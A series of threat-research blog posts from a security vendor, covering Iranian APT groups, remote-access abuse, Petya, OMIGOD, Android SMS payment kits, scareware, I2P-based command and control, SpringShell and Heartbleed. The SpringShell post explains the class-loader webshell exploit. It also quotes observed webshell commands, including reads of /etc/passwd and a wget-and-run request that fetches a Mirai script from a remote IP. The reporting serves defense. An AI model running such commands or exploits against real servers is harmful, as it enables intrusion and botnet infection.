This group generally used spear-phishing with macro-enabled Office documents to deliver their payloads, which were either embedded directly in the macro, or hosted on a first stage C2 server.
These C2 servers were observed to be either third party file hosting sites or code sharing repositories such as GitHub.
A significant portion of MuddyWater’s toolset consisted of open sourced red-teaming tools such as Invoke-Obfuscation, Lazagne, Mimikatz, etc.
https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://securelist.com/muddywater/88059/
https://www.clearskysec.com/muddywater2/
https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/
Assuming the highlighted groups are indeed Iranian in origin, their activity has been well documented and the various groups often times use very similar tactics and techniques to execute their attacks, such as the heavy use of spear-phishing and credential harvesting.
This activity has been persistent for the last decade, and it should be expected to continue or increase with recent geopolitical events.
However, across all of these groups as well as others that were not highlighted, another consistent theme has been the abuse of poorly implemented IT and security policies.
Enabling Multi-Factor Authentication (MFA) throughout an organization, properly segmenting networks, limited macro-enabled documents, and disallowing network activity to unknown domains are examples of relatively simple policies that could have assisted in the neutralization of these adversary groups’ malicious actions.
Unit 42 has consolidated the IOCs of the referenced groups in this report and stored them in our GitHub repository.
This dataset should not be considered comprehensive of all potential Iran-linked cyber operations, and may be subject to change without notice.
Link to IOCs on GitHub
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Recent events continue to highlight the abuse of remote access applications in the enterprise.
Last Tuesday, Trusteer reported that a new variant of Citadel, which has long relied on VNC to give attackers remote control over systems, began adding new credentials to systems it infects and enabling the standard Windows remote desktop application (RDP).
This allows the attacker to maintain control over the system even after the Citadel infection is removed.
As the report indicates, using RDP this way also allows the attackers to “fly under the radar” as RDP is commonly used by administrators and often not treated as a threat.
Later that same week, US-CERT released alert TA14-212A on the Backoff Point of Sale (PoS) malware, which describes how malicious actors used publicly available tools to identify organizations that use remote access applications in an unsafe way.
This reconnaissance was then leveraged in brute force attacks against credentials, toward unauthorized access, implant installation, and subsequent exfiltration of consumer payment data.
As with any tool, remote access applications can be used for good or malicious intent.
It would be inefficient for an administrator to travel to a physical office to make a change on a system, but its critical that organizations take control over these applications.
The first step is identifying them in your network.
Palo Alto Networks currently tracks 90 different remote-access applications in Applipedia.
Examples include Remote Desktop Protocol (RDP), Virtual Network Connection (VNC), TeamViewer, and even Secure Shell (SSH), to name a few.
Once you can identify the traffic, you need to separate the good from the bad.
If your company runs Windows and relies on RDP, you can close off VNC, TeamViewer and the other 87 applications because you don’t need them.
If your administrators and help desk are the only ones who need RDP access to your systems, disable RDP for the rest of your users.
The key is putting a policy in place and making sure your technology is enforcing that policy at the network layer.
The Backoff and Citadel reports from last week highlight how uncontrolled remote access broadens your attack surface and acts as a backdoor for attackers already in your network.
Remote-access abuse is not a new problem.
We’ve been highlighting the importance of controlling this threat since 2009, but five years later it remains an issue for many organizations.
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This Unit 42 blog provides an update on the threat situation surrounding attacks using the Petya Ransomware which are impacting organizations in Ukraine, Russia and to a lesser extent around the world.
On June 27th, 2017 we became aware of a new variant of the Petya malware which is spreading through multiple lateral movement techniques.
One technique includes  the ETERNALBLUE exploit tool.
This is the same exploit the WanaCrypt0r/WannaCry malware exploited to spread globally in May, 2017.
At least 50 organizations have reported impacts from the malware, including government and critical infrastructure operators.
Most impacted organizations are located in Ukraine, but global organizations with offices in Ukraine have seen the malware spread within their network across national borders.
Palo Alto Networks is documenting our prevention capabilities with regard to this threat in the Palo Alto Networks Protections for Petya Ransomware blog post.
Windows users should take the following general steps to protect themselves:
This is a developing situation, we will update this blog as new information becomes available.
AutoFocus users view samples using the Petya tag.
Petya is a ransomware family that works by modifying the Window’s system’s Master Boot Record (MBR), causing the system to crash.
When the user reboots their PC, the modified MBR prevents Windows from loading and displays a fake “chkdisk” screen which indicates the computer's hard drive is being repaired, but the malware is actually encrypting the user's files.
When this process completes, the malware displays an ASCII Ransom note demanding payment from the victim (Figure 1).
Figure 1: Latest Petya Ransom note displayed on a compromised system.
The latest version of the Petya ransomware is spreading over Windows SMB and is reportedly using the ETERNALBLUE exploit tool, which exploits CVE-2017-0144 and was originally released by the Shadow Brokers group in April 2017.
After the system is compromised the victim is asked to send US $300 in Bitcoin to a specific Bitcoin address and then send an e-mail with the victim’s bitcoin wallet ID to wowsmith123456@posteo[.
]net to retrieve their individual decryption key.
Posteo (a free e-mail provider) has already shut down this e-mail address, and as such victims should not even attempt to pay the ransom.
As of 13:00 UTC on June 28thth, approximately 4 Bitcoin have been transferred to the attacker's wallet.
Unit 42 is unaware of ANY successful recovery after paying the ransom.
Additionally, ongoing research by the industry is showing that specific actions this malware takes makes it technically infeasible, if not impossible, for recovery to occur.
This means that even though this malware is functionally ransomware, for threat assessment purposes, it should be functionally considered a “wiper”.
We are aware of the following information about how the Petya attack lifecycle works.
Delivery/Exploitation
We have not yet confirmed the initial infection vector for this new Petya variant.
Previous variants were spread through e-mail, but we have not identified this latest sample carried in any e-mail related attacks.
While we have not been able to directly confirm the source, we have seen evidence that a Ukrainian software application called MEDoc was used by attackers to deliver the Petya DLL.
The software is heavily used in Ukraine it appears the company’s systems may have been compromised and used to issue a malicious update to systems running the program on the morning of Jun 27th.
This infection vector helps explain the high concentration of infections in Ukraine.
Installation
This variant of Petya is spread as a DLL file, which must be executed by another process before it takes action on the system.
Once executed, it overwrites the Master Boot Record and creates a scheduled task to reboot the system.
Once the system reboots, the malware displays a fake “chkdisk” scan which tricks the victim into believing the program is repairing their hard drive.
In reality, the malware is encrypting the NTFS Master File Table in the background.
Once the fake chkdisk completes, the malware displays a ransom note which demands a payment of $300 in bitcoin.
Command and Control
Petya contains no Command and Control mechanisms that we know of.
After a host is infected, there is no communication from the malware back to the attacker.
Lateral Movement
Petya uses three mechanisms to spread to additional hosts.
Ransomware attacks are very common, but they are rarely coupled with an exploit that allows the malware to spread as a network worm.
The WannaCry attacks in May, 2017 demonstrated that many Windows systems had not been patched for this vulnerability.
The spread of Petya using this vulnerability indicates that many organizations may still be vulnerable, despite the attention WannaCry received.
As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.
Version Summary
June 27, 2017:
June 27, 2017 – 1:08 PM PT
June 28, 2017 – 8:40 AM PT
June 29, 2017 - 5:00 PM PT
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On Sept. 14, 2021, Microsoft’s Security Response Center (MSRC) released security patches detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package Open Management Infrastructure (OMI).
The open-source OMI package is designed to provide a portable infrastructure backbone for web-based management tools, such as diagnostic monitoring, log analytic services and automation functionality within UNIX and Linux systems.
OMI is used by Microsoft Azure to manage UNIX packages within Azure virtual machines (VMs), containers and serverless cloud instances.
According to Microsoft’s security release notes, any system created, or which has updated its OMI package, after Aug. 11, 2021, should automatically be patched.
The four critical vulnerabilities discovered by security researchers from Wiz include one unauthenticated remote code execution (RCE) and three privilege escalation vulnerabilities.
Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure cloud instances using the following Azure services:
Prisma Cloud Compute Defender agents can detect whether any Azure system is vulnerable to any of the four CVEs.
Additionally, Prisma Cloud users can also build a custom vulnerability detection rule to identify if any system is running an OMI package with a version previous to 1.6.8.1.
To build a custom vulnerability detection rule, open Prisma Cloud and navigate to the following page:
name,type,package,minVersionInclusive,maxVersionInclusive,md5
OMIGOD,package,omi,*,1.6.8.0,
Palo Alto Networks Azure-based VM- and CN-Series Firewall instances do not use the OMI package and are not vulnerable to the OMI critical vulnerabilities.
Prisma Cloud will create an alert for any system which maintains an OMI package vulnerable to the OMI critical vulnerabilities.
Should a system be identified as vulnerable, the following steps should be taken for that Azure Cloud Instance:
On Sept. 14, 2021, security researchers from Wiz released a report detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package OMI.
Dubbed OMIGOD, the four vulnerabilities were found to directly affect Azure Cloud Instances.
Palo Alto Networks Azure-based VM and CN Series Firewall instances do not use the OMI package and are not vulnerable to the OMI critical vulnerabilities.
Customers of Prisma Cloud have the ability to create alerts to detect vulnerabilities.
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In-App Purchase (IAP) has become a popular way to sell services and virtual items through mobile applications.
In the Android ecosystem, in addition to the official IAP service by Google, there are many third-party IAP Software Development Kits (SDKs) spread around the world.
Some of these third-party SDKs provide IAP services based on existing online payment platforms.
However, an increasingly popular method uses premium SMS.
A primary reason for the popularity of SMS-based IAP is that it does not require Internet connectivity, just cell service.
While this is more convenient for both users and developers, there are significant security concerns with using SMS-based IAP on Android.
These concerns are detailed below.
Installing an Android app with SMS-based IAP is almost equivalent to installing an “SMS manager” (or even a “contacts manager”) app on the phone.
The reason is because most SMS-based IAP SDKs include comprehensive functionalities to monitor, manage, and even intercept a user’s SMS communication silently in the background, without any user interaction or knowledge.
This is a critical point: these SMS-based IAPs are able to independently send, receive, or block any SMS to/from any cellphone on which they are installed, without the user having any idea this is occurring.
This can include receiving instructions from a cloud server under the control of the SDK author.
Palo Alto Networks Wildfire, through custom SMS blocking policies, recently discovered eight different SMS-based IAP SDKs with this abusive functionality.
Further investigation shows that these SDKs have been used in at least 25 different Android games in two third-party app markets, JoloPlay and Wanyx.
17 of the top 50 games in JoloPlay contain at least one of these IAP SDKs.
According to JoloPlay’s website, these 17 games have been downloaded and installed more than 1.7 million times.
Most of them are pirated or repackaged from famous Android games, such as Plants vs. Zombies 2, Jewels Maze, Fishing Joy, and Where's My Water.
According to Wanyx’s website, 12 of the 50 games in Wanyx’s suggested games column contain the discussed IAP SDKs.
In Wildfire, we classify apps using these IAP SDKs as Potentially Unwanted Applications (PUA).
The reason they are not marked as malware is because all SDKs require user interaction when making a purchase (e.g.
user clicks on the agreement).
However, these IAP SDKs are very dangerous to users because of what they are doing with a user’s SMS without his or her knowledge.
Below are the details of eight SMS-based IAP SDKs discovered by Wildfire:
All of the identified IAP SDKs use premium SMS to provide the IAP service.
They implement code that will send SMS to pre-defined premium numbers (Figure 1).
This code implementation is also abstracted in an interface for developers.
However, in addition to sending, all of these IAP SDKs also implement a BroadcastReceiver and register it for SMS_RECEIVED actions (Figure 2).
In addition, Umpay, WiPay, and NgstreamPay will also register a ContentObserver to monitor all changes in an SMS inbox (Figure 3).
After an SMS is received, these receivers and observers will check the originating number and/or message body, and block the SMS by some policies (Figure 3 and Figure 4).
For example, in Figure 4, the policy is defined as deleting SMS satisfying two conditions at the same time:
1.
Message comes from the phone number “+8610658008” or “10658008”
2.
The message body contains the term “You will use” (translated from Chinese shown in Figure 4).
Some of these policies are hard-coded in the SDKs, e.g., in UmPay; but others are pre-fetched from cloud servers that are operated by the SDKs’ providers (Figure 5).
Again, all the functions mentioned above run silently in the background.
Except for LinkSMSPayment, all the IAP SDKs listed in this post do not notify the user in any way that they are taking actions against the user’s daily SMS communication.
Users have no idea if an SMS was blocked or if it was delivered.
All of the IAP SDKs in this post target Chinese users.
Both SMS sending and SMS blocking will only affect Android phones with a valid Chinese mobile phone number.
Some of them will even check which SIM operator a user is using (Figure 6).
However, we’ve found Android games using these IAP SDKs being downloaded by users in other Asia Pacific areas.
An interesting observation is that half of these IAP SDKs implement the send and block SMS functions in separate codes.
More specifically, the code was separated into two parts.
One piece is embedded into Android apps or games for developers as a part of the source code.
The other piece is included separately in the assets directory in APK files, and will be invoked by Java reflection in runtime (Figure 7).
For example, JoloPay, WiPay, TPADPay and EgamePay follow this design exactly.
AstepPay implements both sending and blocking in the “assets/astep.bin” file.
This separation of functions may be intended to avoid detection by security products.
SMS should not be used in payment or authentication for e-finance transactions.
On the existing Android platforms it is very easy for any installed apps to send, intercept, or even forward SMS messages in background without any user knowledge or interaction.
Previous attack cases, such as Zitmo and Cardbuyer, showed the risk of using SMS for payment authentication.
For instance:
To improve the security of IAP, some payment platforms try to add a verification step in order to confirm an SMS was really sent by the user, for example, it will ask the user to reply with certain text that was sent to a phone number specified by the user.
However, two months ago, WildFire discovered a new Android malware, Cardbuyer, that circumvents this verification technique.
Cardbuyer targets 11 different online payment platforms, as well as stolen prepaid cards, by parsing their verification SMS and automatically replying.
The good news is this technique might be partially mitigated in Android KitKat (version 4.4), where Google introduced a security enhancement around SMS security.
A user can set a system-wide default SMS app as the only app with permission to send and receive SMS.
However, other installed apps are still allowed to receive SMS and upload the content via Internet.
But as of June 4, 2014, only 13.6% of worldwide users had installed Android 4.4 or above.
This means more than 86% of Android users do not benefit from this enhancement and are vulnerable.
However, Palo Alto Networks users are protected from these PUAs by subscribing to WildFire and GlobalProtect services.
SMS-based IAP SDKs have become a gray zone that needs close attention.
Because of convenience and popularity, SMS-based IAP will likely continue to spread and increase in worldwide use.
However, users need to be protected from PUAs and malware that abuses the SMS-based IAP.
Also, developers need to be aware that SMS cannot meet security requirements (e.g.
authentication) during the payment transactions.
We would like to thank Kyle Sanders for his contribution to this work.
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We have recently been investigating an antivirus app in the Google Play store that was displaying fake virus detection results to scare users into purchasing a premium service.
According to the Google Play store statistics, users have downloaded “AntiVirus for Android™” more than one million times and the app was listed in Top 100 free apps in Tools category.
Our Wildfire analysis cloud captured the initial app and identified it as Scareware.
On January 20, we reported this issue to Google and two days later, they removed the app from Google Play.
“AntiVirus for Android™” was developed by a company named “CTG Network Ltd.”(Figure 1).
According the (now removed) Google Play listing, the app was downloaded and installed between 1 million and 5 millions times.
Before the removal it had also received 5,162 recommendations and 16,531 reviews that resulted in an average score of 4.0.
According to AppBrain, the app was also listed in top 30 of Top Grossing Apps in Tools category in United States, Japan, France and South Korea.
Figure 1 AntiVirus for Android™ in the Google Play Store
When a user opens the app, it will always report that it has located two or three threats on the device (Figure 2), including the following:
Figure 2 The App Indicates Two Threats were Found
If the user clicks the “Repair” button, the apps will indicate that one of the threats was eliminated and advise the user to upgrade to its full version to remove the remaining threat(s).
If the user clicks the “Update to Full Protection” button they will be prompted to subscribe to a service that costs $4.99 (US) per month through In-App Purchase of Google Play (Figure 3).
Figure 3 The app requests that the user pay 4.99$ per month for full protection.
Through analyzing the app’s code we discovered a multiple indications that this program was not a legitimate Antivirus program, but actually Scareware.
First, the initial “threats detection results” are hard-coded in the app (Figure 4), which means the app wasn't actually detecting them on the phone.
The developer even directly named these “infected packages” as “fake.virus” in the source code.
Figure 4 Hard-coded fake threat detection results
Since the detection result is fake, the subsequent cleaning is not real either – the elimination operation is just marking a flag of "initial_virus_cleared" to “1” in the app’s internal database.
The code in Figure 5 shows that the “We have eliminated 1 of %d Threat(s)” message shown in Figure 3 is also hard coded.
Figure 5 Code that generated the fake threat cleared page.
One interesting difference between this program and other Fake AV apps is “AntiVirus for Android™” will actually provide real antivirus services to paid users.
The app integrates a mobile antivirus engine provided by Bitdefender and if users upgrade to the premium version, it will scan apps and the device’s SD card with that engine.
This is the main reason we classify the program as Scareware rather than just Fake AV.
It is not clear whether the integrated BitDefender AV engine is actually licensed to the app’s developer.
The engine retrieves code updated and new signatures updating from hxxp:// api.androidsantivirus .com /antivirus/android-arm, which is hosted on the app’s official website.
Figure 6 The App Integrates the BitDefender AV Engine for Premium Users
In March of 2014, a Fake AV app named “Virus Shield” was listed for sale at $3.99 and quickly rose to the top position of Google Play’s New Paid Apps list.
Virus Shield was downloaded over 30,000 times, fare fewer than this latest piece of Scareware, although we do not know how many users actually paid for the $4.99 monthly service before Google removed the app from the store.
The fact that AntiVirus for Android™ contains an actual AV engine makes it more difficult for other programs to identify it as Scareware, as this makes the program appear legitimate.
While Google has already removed this application from the Play store, we’ll keep monitoring the latest Android apps to make sure WildFire is providing the best protection for our customers.
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For a moment, put yourself in the shoes of a cyber criminal.
You’ve collected an array of tools (malware), built up your infrastructure (command and control (C2) servers) and you have a process to make money off your hard work.
You wake up on Monday morning and the domains your carefully built malware uses for command and control are shut down.
Some security researcher has taken control of them, completely halting your operation.
This would certainly be good news to anyone reading this blog, but for the criminal it’s a big setback and source of frustration.
These kinds of takedowns are the impetus for some of the most impressive developments in malware technology over the last decade.
Once attackers have infected a PC through some exploit or social engineering, one of their major challenges is keeping control of that system.
Antivirus programs running on the PC are trying eradicate the threat, the command and control domains and IPs are being added to denylist and blocked by networks around the world.
Many malware authors have taken to building complex mechanisms to ensure that their malware is resistant to these kind of blocks and takedowns.
Some of the more innovative mechanisms include:
These mechanisms are often only used when the primary (and simpler) C2 mechanism has been shut down, but their use makes shutting down a botnet much more challenging.
Last year we highlighted two malware families on this blog: CryptoWall 2.0 and Dyreza/Dyre.
CryptoWall is one of multiple ransomware families that generated income for the attacker by encrypting files on the infected PC with a private key that is in the control of the attacker.
The attacker then charges a ransom (normally around $500) to give up the key that will unlock the files.
In October, CryptoWall 2.0 began using the Tor anonymity network to serve web pages to infected users who wanted their encrypted files back.
In this case a legitimate service (Tor) was being abused by CryptoWall so it could avoid having its C2 servers shut down.
In the past few weeks we've seen another anonymity network, I2P, being abused by both the latest version of CryptoWall (3.0) and the Dyre banking Trojan.
While I2P is far less popular than Tor, it provides similar functionality to the user.
I2P is an overlay network on top of the Internet that creates encrypted links between nodes that are running the I2P software.
I2P users can access specific I2P services that are only accessible on I2P, or access Internet resources without exposing their IP address.
In the case of CryptoWall 3.0, the malware is attempting to access multiple .i2p resources only accessible through I2P, also known as “eepSites.”
The CryptoWall 3.0 uses I2P in the same way CryptoWall 2.0 used Tor, to give victims access to a decrypting service to get their files back.
The Dyre banking Trojan has multiple C2 mechanisms, including encrypted HTTPS requests to a list of hard-coded IP addresses, a DGA generating 1,000 new domains each day as well as an I2P based plugin.
These many C2 mechanisms make Dyre much more difficult to fully take down than a simple single (or small group) of C2s.
the following IP address are known Dyre C2 servers.
It’s not possible to list all of the domains generated by the DGA, which is the main advantage of this mechanism.
To protect your network from the I2P communication used by both Dyre and CryptoWall 3.0, the easiest route is simply to identify I2P traffic and block it completely.
While there are certainly many legitimate reasons to use an anonymity network, many organizations should be wary of I2P (or Tor) traffic transiting their network.
Palo Alto Networks App-ID technology can identify I2P traffic as well 51 other tunneling applications.
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日本語 (Japanese)
Recently, two vulnerabilities were announced within the Spring Framework, an open-source framework for building enterprise Java applications.
On March 29, 2022, the Spring Cloud Expression Resource Access Vulnerability tracked in CVE-2022-22963 was patched with the release of Spring Cloud Function 3.1.7 and 3.2.3.
Two days later on March 31, 2022, Spring released version 5.3.18 and 5.2.20 of Spring Framework to patch another more severe vulnerability tracked in CVE-2022-22965.
The CVE-2022-22965 vulnerability allows an attacker unauthenticated remote code execution (RCE), which Unit 42 has observed being exploited in the wild.
The exploitation of this vulnerability could result in a webshell being installed onto the compromised server that allows further command execution.
Because the Spring Framework is widely used for web system development and the severity of the vulnerability is critical (CVSS score of 9.8), CVE-2022-22965 is given the name SpringShell (and/or Spring4Shell) by the infosec community.
To understand the impact of this vulnerability, we analyzed all the available information and located the issue in the source code.
On April 8, we updated this blog to include statistics on SpringShell exploitation attempts that we identified by analyzing hits on the Spring Core Remote Code Execution Vulnerability threat prevention signature for the Palo Alto Networks Next-Generation Firewall, as well as alerts triggered in Cortex XDR.
We also added a section on indicators.
Palo Alto Networks customers receive protections against CVE-2022-22965 and CVE-2022-22963 via products and services including Cortex XDR Prevent and Pro, a Threat Prevention subscription for the Next-Generation Firewall, and Prisma Cloud Compute.
Affected Software and Versions
Background on the Spring Framework
Root Cause Analysis for CVE-2022-22965
Background on Exploitation of the Class Loader
Establishing a Reverse Shell Connection to a Remote Server on the Compromised Server
SpringShell Exploit
Observed in the Wild
Conclusion
Additional Resources
Indicators
Existing proofs of concept (PoCs) for exploitation work under the following conditions:
Any Java application using Spring Beans packet (spring-beans-*.jar) and using Spring parameters binding could be affected by this vulnerability.
The Spring Framework is an open-source application framework and inversion of the control container for the Java platform.
It is widely used in the industry by various programs and systems due to its powerful features and ease of use.
Some well-known products such as Spring Boot and Spring Cloud are developed with the Spring Framework.
The Spring Core (spring-core) is the core of the framework that provides powerful features such as inversion of control and dependency injection.
It contains the core, beans, context and Spring Expression Language (SpEL) modules.
The vulnerability is caused by the getCachedIntrospectionResults method of the Spring framework wrongly exposing the class object when binding the parameters.
The default Spring data binding mechanism allows developers to bind HTTP request details to application-specific objects.
For example, there is a simple classical application scenario in which the developer creates a trade object to capture request parameters as shown in Figure 1.
Then the developer creates a controller to use the object trade as shown in Figure 2.
After that, the developer usually creates a request builder for the trade controller, which allows the web user to access the trade object remotely as shown in Figure 3.
When web users access trade object properties, the binding process (bindRequestParameters) in the Spring framework implementation will call the getCachedIntrospectionResults method to get and set the object property in the cache.
However, the return object of the getCachedIntrospectionResults method includes a class object.
This means that web users can get a class object remotely by simply submitting a URL as shown in Figure 4.
Exposing the class object to web users is very dangerous and can lead to RCE in many ways.
The class loader is often used by exploiting payloads to load some sensitive classes dynamically for object modification and code execution.
One easy way to get RCE is using the exposed class loader to modify the Tomcat log configuration and remotely upload a JSP web shell after changing the Tomcat log configuration.
One example of changing the Tomcat log configuration by simply submitting a URL is shown in Figure 5.
This is the exploit method used in the public PoC for the SpringShell vulnerability.
Early in 2010, CVE-2010-1622 was assigned to a remote code execution vulnerability in the Spring Framework.
This vulnerability was due to the lack of proper check on the provided PropertyDescriptor in CachedIntrospectionResults() so that class.classLoader is allowed to be utilized to modify the search path of the system's class loader and cause the program to invoke remote Java code.
For this vulnerability, the class loader plays a vital role in the exploitation.
In the Spring Framework version 2.5.6.SEC02, the vulnerability was fixed.
However, while the original way of obtaining the class loader and exploiting it no longer works, a new feature of JDK was introduced in version 9, providing another way to obtain the class loader and making the exploit possible again.
The code snippet seen in Figure 6 shows the fix to CVE-2010-1622.
The fix is to use a block list to exclude two methods: Class.getClassLoader() and getProtectionDomain() as highlighted in Figure 6.
But using a block list runs the risk of being bypassed by the cases not on the list.
And the Java 9 Platform Module System (JPMS) provides a way to bypass this block list.
The newly added module property makes it possible to modify the logging configuration so that a JSP webshell can be written into the web host folder via the logging function as shown in Figure 7.
Figure 8 shows the payload drops a password-protected webshell in the Tomcat ROOT directory called shell7.jsp.
Attackers can then invoke any command through the JSP webshell.
Figure 9 shows the example of executing Netcat to establish a reverse shell to a remote server on the compromised server.
Exploit code for this remote code execution vulnerability has been made publicly available.
Unit 42 first observed scanning traffic early on March 30, 2022 with HTTP requests to servers that included the test strings within the URL.
Figure 10 shows an example of the early scanning activity.
While testing our Threat Prevention signatures, we observed additional scanning activity that included the exploit code within the data section of the HTTP POST request, as seen in Figure 11.
Once we deployed the Threat Prevention signatures, we analyzed the packet captures associated with our "Spring Core Remote Code Execution Vulnerability" signature and found that a majority of the activity was likely generated by variations of the publicly available PoC tools.
Our analysis shows that the following filenames would store the webshell contents on the server in the event of successful exploitation:
0xd0m7.jsp
myshell.jsp
shell.jsp
tomcatwar.jsp
wpz.jsp
The webshell contents written to these files are very similar to the code included in the publicly available PoC as well.
There are two variants of the webshell.
One was included in the PoC and uses the pwd parameter for authentication (password is always j) and the cmd parameter for the command to execute.
The second variant does not use a parameter for authentication and uses id for the command to execute.
Table 1 shows the parameters that the webshell saved to the server would use for authentication and command and how many times we saw them.
Table 1.
Parameters used by webshells seen in hits on "Spring Core Remote Code Execution Vulnerability" signature.
We searched our telemetry for activity to webshells using the file names associated with the SpringShell activity, with the noted exception of shell.jsp, which is far too general.
We have seen the unique commands listed below submitted to webshells.
Of these, only the two commands involving /etc/passwd would possibly suggest malicious intent for exploitation – the rest of the commands suggest general scanning activity.
ls
nslookup%20[redacted].test6.ggdd[.]co[.
]uk
nslookup+[redacted].test6.ggdd[.]co[.
]uk
ping%20[redacted].test6.ggdd[.]co[.
]uk
ping+[redacted].test6.ggdd[.]co[.
]uk
whoami
cat%20/etc/passwd
cat+/etc/passwd
id
ifconfig
ipconfig
ping%20[redacted].burpcollaborator[.
]net
Our Spring Core Remote Code Execution Vulnerability signature was released in the early hours of March 31.
On April 7, we collected the seven days’ worth of activity since the signature release and found that the signature had triggered 43,092 times.
Figure 12 shows the steady increase of total hits from March 31 until April 3, a fairly significant decrease on April 4, followed by an incline in activity on April 5 and 6.
At this time, we have yet to confirm any successful exploitation attempts that led to a webshell installed onto the server outside of testing activity using purposefully vulnerable applications.
We observed a large amount of unique IP addresses during our analysis – with 2,056 addresses triggering the Spring Core Remote Code Execution Vulnerability signature.
Table 2 shows the top 15 IP addresses seen as the source that triggered our signature, which accounts for just over 50% of all of the activity we observed.
Table 2.
Top 15 source IPs triggering the Spring Core Remote Code Execution Vulnerability signature.
We were able to analyze 31,953 packet captures that triggered the Spring Core Remote Code Execution Vulnerability signature to determine the webshell filenames and the webshell contents that would be saved to the server in the event of successful exploitation.
In many cases, the webshell file names had .jsp extensions, which would allow for a successful exploitation to install a working webshell.
However, in many cases the filename had an extension that would not support a webshell, such as .js and .txt, which we believe was used just to mark the presence of a successful file upload as part of vulnerable server discovery efforts.
At the time of writing, we have observed 95 unique webshell filenames, which we have included in the indicators section.
A majority of the activity used the tomcarwar.jsp filename that was used in the initial PoC script, which accounted for over 57% of the filenames observed.
In fact, the top three filenames – tomcarwar.jsp, checkexploit.jsp and javatestfila.jsp – account for over 84% of the activity with known webshell filenames.
The pie chart in Figure 13 shows a high-level breakdown of the most common filenames.
A majority of the packets we analyzed showed the webshell contents did not differ far from the webshell seen in the original proof-of-concept script, which can be seen in Figure 14.
Another very common webshell seen within our telemetry is the exact same with different HTTP parameters and values used by the webshell, as seen in Figure 15.
We also observed a significant amount of exploit attempts using content that again was a modification of the initial webshell in the proof-of-concept.
Figure 16 shows the contents that we observed in the wild, which should not be considered a webshell as it does nothing more than display SPRING_CORE_RCE.
The lack of webshell functionality suggests that this is likely uploaded by scanners attempting to discover servers vulnerable to SpringShell.
More recently, we have seen an uptick in webshell content as seen in Figure 17, which is related to another proof-of-concept script created by K3rwin.
This particular webshell will load a base64 encoded class that will contain the functionality desired by the actor.
This particular webshell is based on AntSword’s shell.jsp, which was modified to use a parameter of k3rwin instead of ant to load the class.
The only malicious activity we have seen in our telemetry related to SpringShell involves HTTP requests to URLs containing the tomcatwar.jsp filename associated with the SpringShell proof-of-concept script.
The activity involved parameters issued to the webshell that would run a command to download and execute a script from a remote server as seen in the following:
[redacted IPV4 address]:8080/tomcatwar.jsp?pwd=j&cmd=/bin/sh/-c${IFS}'cd${IFS}/tmp;wget${IFS}hxxp://107.174.133[.
]167/t.sh${IFS}-O-%a6sh${IFS}SpringCore;'
Upon further analysis, the t.sh script hosted on this remote server is related to the Mirai botnet.
The requests above were sent from the IP address ​​194.31.98[.
]186, which itself has hosted payloads associated with Mirai as well.
Inbound attempts to exploit the SpringShell vulnerability from 194.31.98[.
]186 attempted to install the webshell from the original proof-of-concept seen in Figure 14.
Our signatures blocked the initial attempt to exploit the vulnerability so we cannot confirm if Mirai’s attempts to exploit SpringShell have been successful.
Both Netlab 360 and Trend Micro also observed Mirai activity related to the SpringShell vulnerability.
In addition to our threat prevention signatures, we analyzed the alerts triggered in Cortex XDR and found 116 events between April 4 and April 8.
A majority of these alerts are triggered by testing of the proof-of-concept tools previously mentioned above.
We also observed several alerts involving a docker container named spring4shell, which had a /helloworld directory and had a listening port tcp/8080.
We believe these docker containers are also part of internal testing efforts using publicly available docker containers, such as Spring4Shell-POC.
The signature triggered on the creation of the webshell files, of which we observed the following file written:
/usr/local/tomcat/work/Catalina/localhost/ROOT/org/apache/jsp/shell_jsp.java
/usr/local/tomcat/webapps/ROOT/shell_.jsp
SpringShell is officially assigned CVE-2022-22965, and the patch was released on March 31, 2022.
Since exploitation is straightforward and all the relevant technical details have already gone viral on the internet, it’s possible that SpringShell will become fully weaponized and abused on a larger scale.
Developers and users who have projects or products based on JDK9+ and the Spring Framework (or its derivatives) are strongly urged to patch as soon as possible.
While CVE-2022-22963 is a different vulnerability in Spring Cloud Function (not technically part of SpringShell), a Threat Prevention signature is also available to ensure coverage at the perimeter.
Unit 42 researchers are proactively monitoring info related to other recently disclosed Spring vulnerabilities and will proceed to provide coverage as soon as more info has become available.
Unit 42 is actively monitoring malicious traffic through our devices and cloud solutions.
The Palo Alto Networks Product Security Assurance team is evaluating CVE-2022-22963 and CVE-2022-22965 as relates to Palo Alto Networks products and currently assigns this a severity of none.
Palo Alto Networks Next-Generation Firewall with a Threat Prevention subscription can block the attack traffic related to this vulnerability.
Palo Alto Networks Prisma Cloud can detect the presence of both CVE-2022-22965 and CVE-2022-22963 across all Compute environments.
Palo Alto Networks Cortex XDR Prevent and Pro customers running agent version 7.4 and above with content version 450-87751 on Linux devices are protected from CVE-2022-22963 using the Java Deserialization module; customers running agent version 7.7 and content 480 and above are protected from CVE-2022-22963 and CVE-2022-22965 for both Windows and Linux using the Java Deserialization module; other OSes and exploits receive protections from post-exploitation activities using Behavioral Threat Protection, Password Theft Prevention, Anti Ransomware and other Anti Exploitation modules.
Cortex XDR Pro customers also have visibility into post-exploitation activities and can specifically track the “Process execution with a suspicious command line indicative of the Spring4Shell exploit” and “Suspicious HTTP Request to a vulnerable Java class” Analytics BIOCs.
Furthermore, customers can create a BIOC from an XQL query looking for the dropped webshell IoCs to detect exploitation attempts in their environments.
Palo Alto Networks Cortex XSOAR customers can leverage the "Spring Core and Cloud Function SpEL RCEs" pack to automatically detect and mitigate the vulnerabilities.
Read more on the XSOAR marketplace.
Prisma Cloud Mitigations for SpringShell and Recent Spring Vulnerabilities: CVE-2022-22963, CVE-2022-22965
How Cortex XDR Blocks SpringShell Exploits
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Updated April 19, 2022, at 7:30 a.m. PT.
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Yesterday, TrustedSec, a security consultancy based on Ohio, wrote that the recent breach at Community Health Systems (CHS) was the result of exploitation of the Heartbleed OpenSSL vulnerability (CVE-2014-0160).
CHS’s 8-K filing on Monday did not reveal how the attackers got into their network, only that the records of approximately 4.5 million patients were stolen in attacks in between April and June of 2014.
TrustedSec reports on how attackers were apparently able to glean user credentials from a certain device via the Heartbleed vulnerability and use them to log in via a VPN.
We need more facts to be sure, but this instance may be the first public breach related to the Heartbleed vulnerability since it was announced in April.
Now, over four months since the Heartbleed disclosure, this attack reminds us of how serious this vulnerability is and how critical protection against it remains.
